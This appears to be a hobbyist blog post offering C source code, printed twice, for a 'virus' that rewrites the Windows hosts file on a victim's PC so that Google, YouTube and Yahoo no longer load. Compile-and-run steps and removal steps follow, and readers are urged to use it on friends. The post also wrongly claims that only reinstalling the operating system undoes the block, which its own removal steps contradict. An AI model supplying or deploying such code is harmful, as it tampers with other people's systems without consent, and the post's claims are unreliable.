Prank your Friend : Block Websites on his PC Virus
Most of us are familiar with the virus
that used to block Orkut and Youtube site. If you are curious about
creating such a virus on your own, here is how it can be done. As usual
I’ll use my favorite programming language ‘C’ to create
this website blocking virus. I will give a brief introduction about
this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’.
So, anyone with a basic knowledge of C will be able to understand the
working of the virus. This virus need’s to be clicked only once by the
victim. Once it is clicked, it’ll block a list of websites that has been
specified in the source code. The victim will never be able to surf
those websites unless he re-install’s the operating system. This
blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
1. Paste the Above Given Source Code in Notepad & Save it as "Website_Block.c"
2. Compile the above created source file using a C Compiler.
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.
4.Once you run the file Website_Block.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
5. To remove the virus type the following in the Run Dialog Box. (Start -> Run)
7. Delete all such entries which contain the names of blocked sites.
Enjoy playing this Prank over your Friends & make them toil to use these Websites :D ;-)
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
1. Paste the Above Given Source Code in Notepad & Save it as "Website_Block.c"
2. Compile the above created source file using a C Compiler.
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.
4.Once you run the file Website_Block.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
5. To remove the virus type the following in the Run Dialog Box. (Start -> Run)
%windir%\system32\drivers\etc
6.There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1 google.com
7. Delete all such entries which contain the names of blocked sites.
Enjoy playing this Prank over your Friends & make them toil to use these Websites :D ;-)
Posted By :- |-|A|_F B|_00d Pr|nCe
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1 comments:
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